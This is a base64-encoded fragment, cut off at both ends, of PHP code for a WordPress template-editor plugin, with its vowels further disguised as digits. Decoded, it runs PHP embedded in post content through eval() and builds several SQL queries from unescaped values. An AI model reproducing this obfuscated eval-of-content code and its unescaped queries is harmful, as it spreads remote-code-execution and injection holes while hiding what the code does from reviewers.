ycsIGYxbHM1KTsNCgkJCTRmIChnNXRfYmwyZzRuZjIoJ3Y1cnM0Mm4nKSA8ICJhLmkiKSB7IA0KCQkJCXdwXzVucTM1MzVfc2NyNHB0KCJ3cEFqMXgiLGc1dF9ibDJnNG5mMigndDVtcGwxdDVfZDRyNWN0MnJ5JykgLiAnL2pzL3dwQWoxeC5qcycpOw0KCQkJCXdwXzVucTM1MzVfc2NyNHB0KCJ3cC0xajF4LXI1c3AybnM1IixnNXRfYmwyZzRuZjIoJ3Q1bXBsMXQ1X2Q0cjVjdDJyeScpIC4gJy9qcy93cC0xajF4LXI1c3AybnM1LmpzJywgMXJyMXkoJ2pxMzVyeScsICd3cEFqMXgnKSk7DQoJCQl9IDVsczUgeyANCgkJCQl3cF81bnEzNTM1X3NjcjRwdCgid3AtMWoxeC1yNXNwMm5zNSIpOw0KCQkJfQ0KCQkJd3BfNW5xMzUzNV9zY3I0cHQoJ3dwLXI1bTR4LTFkdjFuYzVkLTVkNHQycicsIGc1dF9ibDJnNG5mMigndDVtcGwxdDVfZDRyNWN0MnJ5JykgLiAnL2pzLzFkdjFuYzVkLTVkNHQyci5qcy5waHAnLCAxcnIxeSgianEzNXJ5IiwgIndwLTFqMXgtcjVzcDJuczUiKSAsIDYuMCk7IA0KCQl9DQoJCS8vQWRkcyAxIGMzc3QybSBmNDVsZCB0MiAxIHAyc3QgYjFzNWQgMm4gd2gxdCB0NW1wbDF0NSA0cyBiNTRuZyAzczVkDQoJCWYzbmN0NDJuIDFkZF90NW1wbDF0NV9jM3N0Mm1fZjQ1bGQoJHAyc3RJRCA9IDAsICRrNXkgPSAnJywkdjFsMzUgPSAnJykgew0KCQkJZ2wyYjFsICR3cGRiOw0KCQkJLy9HNXQgcDJzdCBtNXQxIHQ1bXBsMXQ1DQoJCQkkcDJzdE01dDEgPSAkd3BkYi0+ZzV0X3IydygiU0VMRUNUICogRlJPTSAkd3BkYi0+cDJzdG01dDEgV0hFUkUgcDJzdF80ZCA9ICIgLiAkcDJzdElEIC4gIiAxbmQgbTV0MV9rNXkgPSAnJGs1eSciLCBBUlJBWV9BKTsNCgkJCTRmICghJHAyc3RNNXQxKSB7IA0KCQkJCS8vSW5zNXJ0IHQ1bXBsMXQ1IDRudDIgREIgMXMgYzNzdDJtIGY0NWxkDQoJCQkJMWRkX3Ayc3RfbTV0MSgkcDJzdElELCAkazV5LCAkdjFsMzUpOw0KCQkJCSRwMnN0TTV0MSA9ICR3cGRiLT5nNXRfcjJ3KCJTRUxFQ1QgKiBGUk9NICR3cGRiLT5wMnN0bTV0MSBXSEVSRSBwMnN0XzRkID0gIiAuICRwMnN0SUQgLiAiIDFuZCBtNXQxX2s1eSA9ICckazV5JyIsIEFSUkFZX0EpOw0KCQkJfSA1bHM1IHsNCgkJCQkzcGQxdDVfcDJzdF9tNXQxKCRwMnN0SUQsICRrNXksICR2MWwzNSk7DQoJCQl9DQoJCX0NCgkJLy9FeHRyMWN0cyByMXcgYzJkNSB0MiBiNSA1eDVjM3Q1ZCBsMXQ1cg0KCQlmM25jdDQybiA1eHRyMWN0X3Ixd181eGNsM3M0Mm5zKCRjMm50NW50KSB7DQoJCQlnbDJiMWwgJHAyc3QsICR3cGRiOw0KCQkJJHAyc3RNNXQxID0gJHdwZGItPmc1dF9yMncoIlNFTEVDVCBtNXQxX3YxbDM1IEZST00gJHdwZGItPnAyc3RtNXQxIFdIRVJFIHAyc3RfNGQgPSAiIC4gJHAyc3QtPklEIC4gIiAxbmQgbTV0MV9rNXkgPSAnX3dwX3I1bTR4X3AxZzVfdDVtcGwxdDUnIiwgQVJSQVlfQSk7DQoJCQk0ZiAoJHAyc3RNNXQxKSB7DQoJCQkJLy9Bc3MzbTRuZyAzczVyIGgxcyBzNWw1Y3Q1ZCAxIGMzc3QybSB0NW1wbDF0NS4uLg0KCQkJCXI1bTJ2NV9mNGx0NXIoJ3RoNV9jMm50NW50JywgJ3dwdDV4dDNyNHo1Jyk7DQoJCQkJLy9yNW0ydjVfZjRsdDVyKCd0aDVfYzJudDVudCcsICd3cDEzdDJwJyk7DQoJCQl9DQoJCQlyNXQzcm4gcHI1Z19yNXBsMWM1X2MxbGxiMWNrKCIvKDwhLS1ccypyYzJkNV9zdDFydFxzKi0tPnxcW1JFTUlYXF0pKC4qKSg8IVxzKi0tcmMyZDVfNW5kXHMqLS0+fFxbXC9SRU1JWFxdKS9VNHMiLCANCgkJMXJyMXkoJiR0aDRzLCI1eHRyMWN0X3Ixd181eGNsM3M0Mm5zX2MxbGxiMWNrIiksICRjMm50NW50KTsNCgkJfQ0KCQkvL1MzcHAycnQgZjNuY3Q0Mm4gdDIgczF2NSA0biAkcjF3IDFycjF5IGMybnQ1bnQgdDIgYjUgNXg1YzN0NWQgbDF0NXINCgkJZjNuY3Q0Mm4gNXh0cjFjdF9yMXdfNXhjbDNzNDJuc19jMWxsYjFjaygkbTF0Y2g1cykgew0KCQkJZ2wyYjFsICRyNW00eF9yMXc7DQoJCQkkcjVtNHhfcjF3W109JG0xdGNoNXNbYV07DQoJCQlyNXQzcm4gIiFSRU1JWCIuKGMyM250KCRyNW00eF9yMXcpLTYpLiIhIjsNCgkJfQ0KCQkvL0luczVydHMgcjF3IGMyZDUgdDIgYjUgNXg1YzN0NWQsIDRuY2wzZDRuZyBQSFANCgkJZjNuY3Q0Mm4gNG5zNXJ0X3Ixd181eGNsM3M0Mm5zKCRjMm50NW50KSB7DQoJCQlnbDJiMWwgJHI1bTR4X3IxdzsNCgkJCTRmKCE0c3M1dCgkcjVtNHhfcjF3KSkgeyByNXQzcm4gJGMybnQ1bnQ7IH0NCgkJCTRmKHByNWdfbTF0Y2goJyMhUkVNSVhbXiFdKiEjJywgJGMybnQ1bnQpKSB7DQoJCQkJJGMybnQ1bnQgPSBwcjVnX3I1cGwxYzVfYzFsbGIxY2soIi8hUkVNSVgoW14hXSkqIS9VNHMiLCAxcnIxeSgmJHRoNHMsICI0bnM1cnRfcjF3XzV4Y2wzczQybnNfYzFsbGIxY2siKSwgJGMybnQ1bnQpOw0KCQkJCQkvL0MyZDUgc240cHA1dCBmcjJtIEV4NWMtUEhQIC0gaHR0cDovL2JsMzVzMm01Lm41dC9wMnN0L2EwMGkvMDgvNjgvaTAvDQoJCQkJCTJiX3N0MXJ0KCk7DQoJCQkJCWdsMmIxbCAkd3ByX2ZsNGNrcl80ZDsgLy9mMnIgZmw0Y2tyDQoJCQkJCTV2MWwoIj8+JGMybnQ1bnQ8P3BocCAiKTsNCgkJCQkJJDIzdHAzdCA9IDJiX2c1dF9jMm50NW50cygpOw0KCQkJCQkyYl81bmRfY2w1MW4oKTsNCgkJCQkJcjV0M3JuICQyM3RwM3Q7DQoJCQl9DQoJCQlyNXQzcm4gJGMybnQ1bnQ7DQoJCX0NCgkJLy9TM3BwMnJ0IGYzbmN0NDJuIHQyIDIzdHAzdCBkMXQxIDRuICRyMXcgMXJyMXkgZjJyIDV4NWMzdDQybg0KCQlmM25jdDQybiA0bnM1cnRfcjF3XzV4Y2wzczQybnNfYzFsbGIxY2soJG0xdGNoNXMpIHsNCgkJCWdsMmIxbCAkcjVtNHhfcjF3Ow0KCQkJJG0xdGNoID0gJHI1bTR4X3Ixd1s0bnR2MWwoJG0xdGNoNXNbNl0pXTsNCgkJCSRtMXRjaCA9IGh0bWxfNW50NHR5X2Q1YzJkNSgkbTF0Y2gpOw0KCQkJJG0xdGNoID0gc3RyX3I1cGwxYzUoJ1twaHBdJywgJzw/cGhwICcsICRtMXRjaCk7DQoJCQkkbTF0Y2ggPSBzdHJfcjVwbDFjNSgnWy9waHBdJywgJyA/PicsICRtMXRjaCk7DQoJCQkkbTF0Y2ggPSBzdHJfcjVwbDFjNSgnPCA/cGhwJywgJzw/cGhwICcsJG0xdGNoKTsNCgkJCSRtMXRjaCA9IHN0cl9yNXBsMWM1KCc8ID0nLCAnPD0nLCAkbTF0Y2gpOw0KCQkJJG0xdGNoID0gc3RyX3I1cGwxYzUoJz4gPScsICc+PScsICRtMXRjaCk7DQoJCQlyNXQzcm4gJG0xdGNoOw0KCQl9DQoJCS8vRXh0cjFjdHMgMW5kIHI1cGwxYzVzIHI1bTR4IHQxZ3MNCgkJZjNuY3Q0Mm4gNXh0cjFjdF9yNW00eF90MWdzKCRjMm50NW50KSB7DQoJCQlnbDJiMWwgJHAyc3Q7DQoJCQk0ZihwcjVnX20xdGNoKCcjKD86XFt8PCEtLSlyNW00eF9bXlwpXSpcKSg/OlxdfC0tPikjJywgJGMybnQ1bnQpKQ0KCQkgIAkkYzJudDVudCA9IHByNWdfcjVwbDFjNV9jMWxsYjFjaygnLyg/OlxbfDwhLS0pcjVtNHhfKFteXChdKilcKChbXlwpXSopXCkoPzpcXXwtLT4pLycsIDFycjF5KCYkdGg0cywncjVwbDFjNV9yNW00eF90MWdzJyksICRjMm50NW50KTsNCgkJCXI1dDNybiAkYzJudDVudDsNCgkJfQ0KCQkvL1N0cjRwcyAyM3QgdjFyNDIzcyBQSFAgdDFncyAxbmQgczNjaCBzMiB0aDF0IDEgdDVtcGwxdDUgYzFuIGI1IHM1bnQgdDIgdGg1IDVkNHQycg0KCQlmM25jdDQybiBnNXRfYzJudDVudF90Ml81ZDR0KCRwMnN0SUQgPSAwLCAkYzJudDVudCA9ICcnKSB7DQoJCQkkYzJudDVudCA9IHN0cl9yNXBsMWM1KCI8P3BocCBibDJnNG5mMigndDVtcGwxdDVfM3JsJyk7ID8+IiwgZzV0X2JsMmc0bmYyKCd0NW1wbDF0NV8zcmwnKSwgJGMybnQ1bnQpOw0KCQkJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgiPD9waHAgYmwyZzRuZjIoJ3Q1bXBsMXQ1X2Q0cjVjdDJyeScpOyA/PiIsIGc1dF9ibDJnNG5mMigndDVtcGwxdDVfZDRyNWN0MnJ5JyksJGMybnQ1bnQpOw0KCQkgICRjMm50NW50ID0gcHI1Z19yNXBsMWM1X2MxbGxiMWNrKCcvKDxcP3BocFxzXC9cKnI1bTR4X2MyZDVfc3QxcnRcKlwvXHM/XD8+KC4qKTxcP3BocFxzXC9cKnI1bTR4X2MyZDVfNW5kXCpcL1xzXD8+KS80cycsIDFycjF5KCYkdGg0cywncjVwbDFjNV9waHBfYzJkNScpLCAkYzJudDVudCk7DQoJCQkkYzJudDVudCA9IHByNWdfcjVwbDFjNSgnLyg8XD9bXj5dKig/PD1cPyk+KS80cycsJycsICRjMm50NW50KTsgLy9waHAgc3RyNG5ncw0KCQkJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgnPHA+JywgJzxwIGNsMXNzPSJyNW00eCI+JywgJGMybnQ1bnQpOw0KCQkJJGMybnQ1bnQgPSBwcjVnX3I1cGwxYzUoJy9cPGJyW15cPl0qXD4vNHMnLCAnPGJyIGNsMXNzPSJyNW00eCIgLz4nLCAkYzJudDVudCk7DQoJCQkkYzJudDVudCA9IHRyNG0oJGMybnQ1bnQpOw0KCQkJcjV0M3JuICRjMm50NW50Ow0KCQl9DQoJCWYzbmN0NDJuIHI1cGwxYzVfcGhwX2MyZDUoJG0xdGNoNXMpIHsNCgkvLwlwcjRudF9yKCRtMXRjaDVzKTsNCgkJCSRtMXRjaCA9ICRtMXRjaDVzW2FdOw0KCQkJJGMybnQ1bnQgPSAnW1JFTUlYXSc7DQoJCQkkbTF0Y2ggPSBzdHJfcjVwbDFjNSgiPD9waHAiLCAiW3BocF0iLCAkbTF0Y2gpOw0KCQkJJG0xdGNoID0gc3RyX3I1cGwxYzUoIjw/IiwgIltwaHBdIiwgJG0xdGNoKTsNCgkJCSRtMXRjaCA9IHN0cl9yNXBsMWM1KCI/PiIsICJbL3BocF0iLCAkbTF0Y2gpOw0KCQkJJGMybnQ1bnQgLj0gJG0xdGNoOw0KCQkJJGMybnQ1bnQgLj0gJ1svUkVNSVhdJzsNCgkJCXI1dDNybiAkYzJudDVudDsNCgkJfQ0KCQkvL0c1dHMgd2g1dGg1ciB0aDUgdDVtcGwxdDUgMTN0aDJyIHcyM2xkIGw0azUgMSBzNGQ1YjFyL2g1MWQ1ci9mMjJ0NXIgc2gydzRuZyAyciBuMnQNCgkJZjNuY3Q0Mm4gZzV0X2MybnQ1bnRfMnB0NDJucygkcDJzdElELCAkYzJudDVudCkgew0KCQkJJHI1c3AybnM1ID0gbjV3IFdQX0FqMXhfUjVzcDJuczUoKTsNCgkJCS8vUzU1IDRmIHQ1bXBsMXQ1IDEzdGgyciB3MW50cyAxIHM0ZDViMXINCgkJCXByNWdfbTF0Y2goICd8UzRkNWIxcjooLiopJHxtNCcsICRjMm50NW50LCAkczRkNWIxciApOw0KCQkJNGYgKCE1bXB0eSgkczRkNWIxcikpIHsNCgkJCQk0ZiAodHI0bSgkczRkNWIxcls2XSkgPT0gImYxbHM1IiApIHsNCgkJCQkJJHRoNHMtPjFkZF90NW1wbDF0NV9jM3N0Mm1fZjQ1bGQoJHAyc3RJRCwgJ193cF9yNW00eF9wMWc1X3M0ZDViMXInLHRyNG0oJHM0ZDViMXJbNl0pKTsNCgkJCQl9DQoJCQkJJHI1c3AybnM1LT4xZGQoIDFycjF5KA0KCQkJCQknd2gxdCcgPT4gJ3M0ZDViMXInLA0KCQkJCQknNGQnID0+ICRwMnN0SUQsDQoJCQkJCSdkMXQxJyA9PiB0cjRtKCRzNGQ1YjFyWzZdKQ0KCQkJCSkpOw0KCQkJfSA1bHM1IHsNCgkJCQkvL04yIHM0ZDViMXJzIHByNXM1bnQgLSBVczUgdGg1IGwyMmszcCAycHQ0Mm4NCgkJCQkkczRkNWIxcnMgPSAkdGg0cy0+ZzV0X3AxZzVfMnB0NDJucygiczRkNWIxciIpOw0KCQkJCTRmICghczRkNWIxcnMpIHsNCgkJCQkJJHI1c3AybnM1LT4xZGQoIDFycjF5KA0KCQkJCQkJJ3doMXQnID0+ICdzNGQ1YjFyJywNCgkJCQkJCSc0ZCcgPT4gJHAyc3RJRCwNCgkJCQkJCSdkMXQxJyA9PiAiRDVmMTNsdCINCgkJCQkJKSk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJJHM0ZDVzID0gJyc7DQoJCQkJCWYycjUxY2ggKCRzNGQ1YjFycyAxcyAkczRkNWIxcikgew0KCQkJCQkJJHM0ZDVzIC49ICRzNGQ1YjFyIC4gIiwiOw0KCQkJCQl9DQoJCQkJCSRzNGQ1cyA9IHByNWdfcjVwbDFjNSgnLywkLycsICcnLCAkczRkNXMsNik7DQoJCQkJCSRyNXNwMm5zNS0+MWRkKCAxcnIxeSgNCgkJCQkJCSd3aDF0JyA9PiAnczRkNWIxcicsDQoJCQkJCQknNGQnID0+ICRwMnN0SUQsDQoJCQkJCQknZDF0MScgPT4gIkQ1ZjEzbHQsIiAuIHRyNG0oJHM0ZDVzKQ0KCQkJCQkpKTsNCgkJCQl9DQoJCQl9DQoJCQlyNXQzcm4gJHI1c3AybnM1Ow0KCQl9DQoJCS8vUjVkMjVzIHRoNSBuNXh0X3Ayc3RzX2w0bmsgdDIgcjV0M3JuIDEgc3RyNG5nIDRuc3Q1MWQNCgkJZjNuY3Q0Mm4gbjV4dF9wMnN0c19sNG5rKCRsMWI1bD0nTjV4dCBQMWc1ICZyMXEzMjsnLCAkbTF4X3AxZzU9MCkgew0KCQkJZ2wyYjFsICRwMWc1ZCwgJHdwX3EzNXJ5Ow0KCQkJJGw0bmsgPSAnJzsNCgkJCTRmICggISRtMXhfcDFnNSApIHsNCgkJCQkkbTF4X3AxZzUgPSAkd3BfcTM1cnktPm0xeF9uM21fcDFnNXM7DQoJCQl9DQoJCQk0ZiAoICEkcDFnNWQgKQ0KCQkJCSRwMWc1ZCA9IDY7DQoJCQkkbjV4dHAxZzUgPSA0bnR2MWwoJHAxZzVkKSArIDY7DQoJCQk0ZiAoICghIDRzX3M0bmdsNSgpKSAmJiAoNW1wdHkoJHAxZzVkKSB8fCAkbjV4dHAxZzUgPD0gJG0xeF9wMWc1KSApIHsNCgkJCQkkbDRuayAuPSAnPDEgaHI1Zj0iJzsNCgkJCQkkbDRuayAuPSBjbDUxbl8zcmwoZzV0X241eHRfcDJzdHNfcDFnNV9sNG5rKCRtMXhfcDFnNSkpOw0KCQkJCSRsNG5rIC49ICciPicuIHByNWdfcjVwbDFjNSgnLyYoW14jXSkoPyFbMS16XXs2LDh9OykvJywgJyYjMG84OyQ2JywgJGwxYjVsKSAuJzwvMT4nOw0KCQkJfQ0KCQkJcjV0M3JuICRsNG5rOw0KCQl9Ly81bmQgZjNuY3Q0Mm4gbjV4dF9wMnN0c19sNG5rDQoJCS8vQXBwbDQ1ZCB0MiB0aDUgbDRtNHRzIHQyIDFsbDJ3IDJmZnM1dHMgd2g0bDUgcDFnNG5nDQoJCWYzbmN0NDJuIHAyc3RfbDRtNHQoJGw0bTR0KSB7IA0KCQkJZ2wyYjFsICRwMWc1ZDsNCgkJCS8vUzV0M3AgdGg1IHAxZzRuZw0KCQkJNGYgKDFycjF5X2s1eV81eDRzdHMoInAxZzVkIiwgJHRoNHMtPnExKSkgew0KCQkJCTRmICgkdGg0cy0+cTFbJ3AxZzVkJ10gIT0gInAxZzVkIikgew0KCQkJCQkkcDFnNWQgPSA0bnR2MWwoJHRoNHMtPnExWydwMWc1ZCddKTsNCgkJCQl9DQoJCQl9IDVsczUgew0KCQkJCSR0aDRzLT5wMWc1ZCA9ICRwMWc1ZDsNCgkJCX0NCgkJCTRmICgxcnIxeV9rNXlfNXg0c3RzKCJzaDJ3cDJzdHMiLCAkdGg0cy0+cTEpKSB7DQoJCQkJJHAyc3RwNXJwMWc1ID0gJHRoNHMtPnExWydzaDJ3cDJzdHMnXTsNCgkJCX0gNWxzNSB7DQoJCQkJJHAyc3RwNXJwMWc1ID0gNG50djFsKGc1dF8ycHQ0Mm4oJ3Ayc3RzX3A1cl9wMWc1JykpOw0KCQkJfQ0KCQkJNGYgKDVtcHR5KCRwMWc1ZCkpIHsNCgkJCQkJJHAxZzVkID0gNjsNCgkJCX0NCgkJCSRwZ3N0cnQgPSAoKDRudHYxbCgkcDFnNWQpIC02KSAqICRwMnN0cDVycDFnNSkrJHRoNHMtPjJmZnM1dCAuICcsICc7DQoJCQkkbDRtNHQgPSAnTElNSVQgJy4kcGdzdHJ0LiRwMnN0cDVycDFnNTsNCgkJCXI1dDNybiAkbDRtNHQ7DQoJCX0gLy81bmQgZjNuY3Q0Mm4gcDJzdF9sNG00dA0KCQkvL1I1ZDI1cyB0aDUgcHI1djQyM3NfcDJzdHNfbDRuayB0MiByNXQzcm4gMSBzdHI0bmcgNG5zdDUxZA0KCQlmM25jdDQybiBwcjV2NDIzc19wMnN0c19sNG5rKCRsMWI1bD0nJmwxcTMyOyBQcjV2NDIzcyBQMWc1Jykgew0KCQkJZ2wyYjFsICRwMWc1ZDsNCgkJCSRsNG5rID0gJyc7DQoJCQk0ZiAoICghNHNfczRuZ2w1KCkpCSYmICgkcDFnNWQgPiA2KSApIHsNCgkJCQkkbDRuayAuPSAnPDEgaHI1Zj0iJzsNCgkJCQkkbDRuayAuPSBjbDUxbl8zcmwoZzV0X3ByNXY0MjNzX3Ayc3RzX3AxZzVfbDRuaygpKTsNCgkJCQkkbDRuayAuPSAnIj4nLiBwcjVnX3I1cGwxYzUoJy8mKFteI10pKD8hWzEtel17Niw4fTspLycsICcmIzBvODskNicsICRsMWI1bCkgLic8LzE+JzsNCgkJCX0NCgkJCXI1dDNybiAkbDRuazsNCgkJfSAvLzVuZCBmM25jdDQybiBwcjV2NDIzc19wMnN0c19sNG5rDQoJCS8vUjVtMnY1cyAxIGMzc3QybSBmNDVsZCA0ZiByNW00eCB0NW1wbDF0NXMgMXI1bid0IHM1bDVjdDVkDQoJCWYzbmN0NDJuIHI1bTJ2NV90NW1wbDF0NV9jM3N0Mm1fZjQ1bGQoJHAyc3RJRCA9IDAsICRrNXkgPSAnJykgew0KCQkJZ2wyYjFsICR3cGRiOw0KCQkJQCR3cGRiLT5xMzVyeSgiREVMRVRFIGZyMm0gJHdwZGItPnAyc3RtNXQxIFdIRVJFIHAyc3RfNGQgPSAkcDJzdElEIDFuZCBtNXQxX2s1eSA9ICckazV5JyIpOw0KCQl9DQoJCS8vUjVwbDFjNXMgcjVtNHggdDFncyB3NHRoIHRoNSBsMjJwIDVxMzR2MWw1bnQNCgkJLy9QMXIxbTF0NXJzIC0gJHAyc3RJRCwgJHEzNXJ5IChzMW01IDFyZzNtNW50cyAxcyBxMzVyeV9wMnN0cykNCgkJLy9SNXQzcm5zIGwyMnAgYzJudDVudA0KCQlmM25jdDQybiByNXBsMWM1X3I1bTR4X3QxZ3MoJG0xdGNoNXMpIHsNCgkJCSQxY3Q0Mm4gPSAkbTF0Y2g1c1s2XTsNCgkJCWdsMmIxbCAkd3BfcTM1cnksICRwMWc1ZCwgJFdQX1EzNXJ5LCAkcDJzdDsNCgkJCS8vQjM0bGQgdGg1IHEzNXJ5DQoJCQkkdDVtcCA9ICR3cF9xMzVyeTsNCgkJCSR0aDRzLT5xMSA9IDFycjF5KCk7DQoJCQkkbTF0Y2g1c1thXSA9IHN0cl9yNXBsMWM1KCImIzBvODsiLCAnJicgLCRtMXRjaDVzW2FdKTsNCgkJCXAxcnM1X3N0cigkbTF0Y2g1c1thXSwgJHRoNHMtPnExKTsNCgkJCSRjMm50NW50ID0gJyc7DQoJCQkkZjRsNSA9ICR0aDRzLT50NW1wbDF0NXAxdGggLiAiLzVkNHQyci90NW1wbDF0NXMvIiAuICQxY3Q0Mm4gLiAiLnBocCI7DQoJCQlzdzR0Y2goJG0xdGNoNXNbNl0pIHsNCgkJCQljMXM1ICJjMXQiOg0KCQkJCWJyNTFrOw0KCQkJCWMxczUgImw0bmsiOg0KCQkJCWJyNTFrOw0KCQkJCWMxczUgInMzYnAxZzVpMTN0aDJyIjoNCgkJCQlicjUxazsNCgkJCQlkNWYxM2x0Og0KCQkJCQkkd3BfcTM1cnk9IG4zbGw7DQoJCQkJCTFkZF9mNGx0NXIoJ3Ayc3RfbDRtNHRzJywgMXJyMXkoJiR0aDRzLCAncDJzdF9sNG00dCcpKTsNCgkJCQkJNGYgKDFycjF5X2s1eV81eDRzdHMoIjJmZnM1dCIsICR0aDRzLT5xMSkpIA0KCQkJCQkkdGg0cy0+MmZmczV0ID0gJHRoNHMtPnExWycyZmZzNXQnXTsNCgkJCQkJJHdwX3EzNXJ5ID0gbjV3IFdQX1EzNXJ5KCk7DQoJCQkJCSR3cF9xMzVyeS0+cTM1cnkoJHRoNHMtPnExKTsNCgkJCQkJcjVtMnY1X2Y0bHQ1cigncDJzdF9sNG00dHMnLCAxcnIxeSgmJHRoNHMsICdwMnN0X2w0bTR0JykpOw0KCQkJfQ0KCQkJNGYgKDRzX2Y0bDUoJGY0bDUpKSANCgkJCQk0bmNsM2Q1KCRmNGw1KTsNCgkJCSR3cF9xMzVyeSA9ICR0NW1wOw0KCQkJcjV0M3JuICRjMm50NW50Ow0KCQl9IC8vNW5kIGYzbmN0NDJuIHI1cGwxYzVfcjVtNHhfdDFncw0KCQkvL1RoNHMgZjNuY3Q0Mm4gNHMgM3M1ZCBmMnIgd2g1biB0aDUgdjRzMzFsIDVkNHQyciBjMm52NXJ0cyBjaDFycyB0MiA1bmMyZDVkIGNoMXJzLiAgDQoJCS8vSDR0dDRuZyBzMXY1IHc0bGwgYzJudjVydCB0aDVzNSBiMWNrLg0KCQlmM25jdDQybiBodG1sXzNuNW5jMmQ1KCRjMm50NW50KSB7DQoJCQlyNXQzcm4gaHRtbF81bnQ0dHlfZDVjMmQ1KCRjMm50NW50KTsNCgkJfQ0KCQkvL1VwZDF0NXMgMSBwMnN0IHc0dGggZDF0MQ0KCQlmM25jdDQybiAzcGQxdDVfcDJzdF9kMXQxKCQ0ZCA9IDApIHsNCgkJCTRmICg0c3M1dCgkX1BPU1RbJ3Ayc3RfSUQnXSkpIHsNCgkJCQk0ZiAoNHNfbjNtNXI0YygkX1BPU1RbJ3Ayc3RfSUQnXSkpIHsNCgkJCQkJJDRkID0gJF9QT1NUWydwMnN0X0lEJ107DQoJCQkJfQ0KCQkJfSANCgkJCTRmICg0c3M1dCgkX1BPU1RbJ3I1bTR4X3M1bDVjdDVkX3Q1bXBsMXQ1J10pKSB7DQoJCQkJJHRoNHMtPjFkZF90NW1wbDF0NV9jM3N0Mm1fZjQ1bGQoJDRkLCAnX3dwX3I1bTR4X3AxZzVfdDVtcGwxdDUnLCAkX1BPU1RbJ3I1bTR4X3M1bDVjdDVkX3Q1bXBsMXQ1J10pOw0KCQkJfQ0KCQkJNGYgKDRzczV0KCRfUE9TVFsncjVtNHhfczVsNWN0NWRfczRkNWIxciddKSkgew0KCQkJCSR0aDRzLT4xZGRfdDVtcGwxdDVfYzNzdDJtX2Y0NWxkKCQ0ZCwgJ193cF9yNW00eF9wMWc1X3M0ZDViMXInLCB0cjRtKCRfUE9TVFsncjVtNHhfczVsNWN0NWRfczRkNWIxciddKSk7DQoJCQl9IDVsczUgew0KCQkJCSR0aDRzLT5yNW0ydjVfdDVtcGwxdDVfYzNzdDJtX2Y0NWxkKCQ0ZCwgJ193cF9yNW00eF9wMWc1X3M0ZDViMXInKTsNCgkJCX0NCgkJCTRmICg0c3M1dCgkX1BPU1RbJ3I1bTR4X3M1bDVjdDVkX2YyMnQ1ciddKSkgew0KCQkJCSR0aDRzLT4xZGRfdDVtcGwxdDVfYzNzdDJtX2Y0NWxkKCQ0ZCwgJ193cF9yNW00eF9wMWc1X2YyMnQ1cicsIHRyNG0oJF9QT1NUWydyNW00eF9zNWw1Y3Q1ZF9mMjJ0NXInXSkpOw0KCQkJfQk1bHM1IHsNCgkJCQkkdGg0cy0+cjVtMnY1X3Q1bXBsMXQ1X2Mzc3QybV9mNDVsZCgkNGQsICdfd3BfcjVtNHhfcDFnNV9mMjJ0NXInKTsNCgkJCX0NCgkJCTRmICg0c3M1dCgkX1BPU1RbJ3I1bTR4X3M1bDVjdDVkX2g1MWQ1ciddKSkgew0KCQkJCSR0aDRzLT4xZGRfdDVtcGwxdDVfYzNzdDJtX2Y0NWxkKCQ0ZCwgJ193cF9yNW00eF9wMWc1X2g1MWQ1cicsIHRyNG0oJF9QT1NUWydyNW00eF9zNWw1Y3Q1ZF9oNTFkNXInXSkpOw0KCQkJfQk1bHM1IHsNCgkJCQkkdGg0cy0+cjVtMnY1X3Q1bXBsMXQ1X2Mzc3QybV9mNDVsZCgkNGQsICdfd3BfcjVtNHhfcDFnNV9oNTFkNXInKTsNCgkJCX0NCgkJfQ0KICAgIH0vL0VuZCBjbDFzcyByNW00eF8xZHYxbmM1ZF81ZDR0MnINCn0NCg0KLy80bnN0MW50NDF0NSB0aDUgY2wxc3MNCjRmIChjbDFzc181eDRzdHMoJ3I1bTR4XzFkdjFuYzVkXzVkNHQycicpKSB7DQoJJHI1bTR4XzFkdjFuYzVkXzVkNHQyciA9IG41dyByNW00eF8xZHYxbmM1ZF81ZDR0MnIoKTsNCgkkdjVyczQybiA9IGc1dF9ibDJnNG5mMigndjVyczQybicpOw0KCS8vSjF2MVNjcjRwdA0KCTFkZF8xY3Q0Mm4oJzFkbTRuX3ByNG50X3NjcjRwdHMnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCcxZGRfcDJzdF9zY3I0cHRzJykpOyANCgkxZGRfMWN0NDJuKCc1ZDR0X3Ayc3QnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCAnM3BkMXQ1X3Ayc3RfZDF0MScpKTsNCgkxZGRfMWN0NDJuKCdwM2JsNHNoX3Ayc3QnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCAnM3BkMXQ1X3Ayc3RfZDF0MScpKTsNCgkxZGRfMWN0NDJuKCdzMXY1X3Ayc3QnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCAnM3BkMXQ1X3Ayc3RfZDF0MScpKTsNCgkNCgk0ZiAoJHY1cnM0Mm4gPj0gImEuaSIpIHsgDQoJCTFkZF8xY3Q0Mm4oJzVkNHRfcDFnNV9mMnJtJywgMXJyMXkoJHI1bTR4XzFkdjFuYzVkXzVkNHQyciwgJzFkZF81ZDR0MnJfNG50NXJmMWM1YWknKSk7DQoJfSA1bHM1NGYgKCR2NXJzNDJuID49ICJhLm8iKSB7DQoJCTFkZF8xY3Q0Mm4oJzVkNHRfcDFnNV9mMnJtJywgMXJyMXkoJHI1bTR4XzFkdjFuYzVkXzVkNHQyciwgJzFkZF81ZDR0MnJfNG50NXJmMWM1YW8nKSk7DQoJCTFkZF9mNGx0NXIoJ21jNV92MWw0ZF81bDVtNW50cycsIDFycjF5KCRyNW00eF8xZHYxbmM1ZF81ZDR0MnIsJzFsbDJ3X3QxZ3MnKSw2MDAwMCk7DQoJDQoJfQ0KCSRyNW00eF9yMXcgPSAxcnIxeSgpOw0KCTFkZF9mNGx0NXIoJ3RoNV9jMm50NW50JywgMXJyMXkoJHI1bTR4XzFkdjFuYzVkXzVkNHQyciwgJzV4dHIxY3RfcjF3XzV4Y2wzczQybnMnKSwgMCk7DQoJMWRkX2Y0bHQ1cigndGg1X2MybnQ1bnQnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCAnNG5zNXJ0X3Ixd181eGNsM3M0Mm5zJyksIDk5OSk7DQoJMWRkX2Y0bHQ1cigndGg1X2MybnQ1bnQnLCAxcnIxeSgkcjVtNHhfMWR2MW5jNWRfNWQ0dDJyLCAnNXh0cjFjdF9yNW00eF90MWdzJyksNjAwMCk7DQoJMWRkX2Y0bHQ1cigndGg1XzVkNHQycl9jMm50NW50JywgMXJyMXkoJHI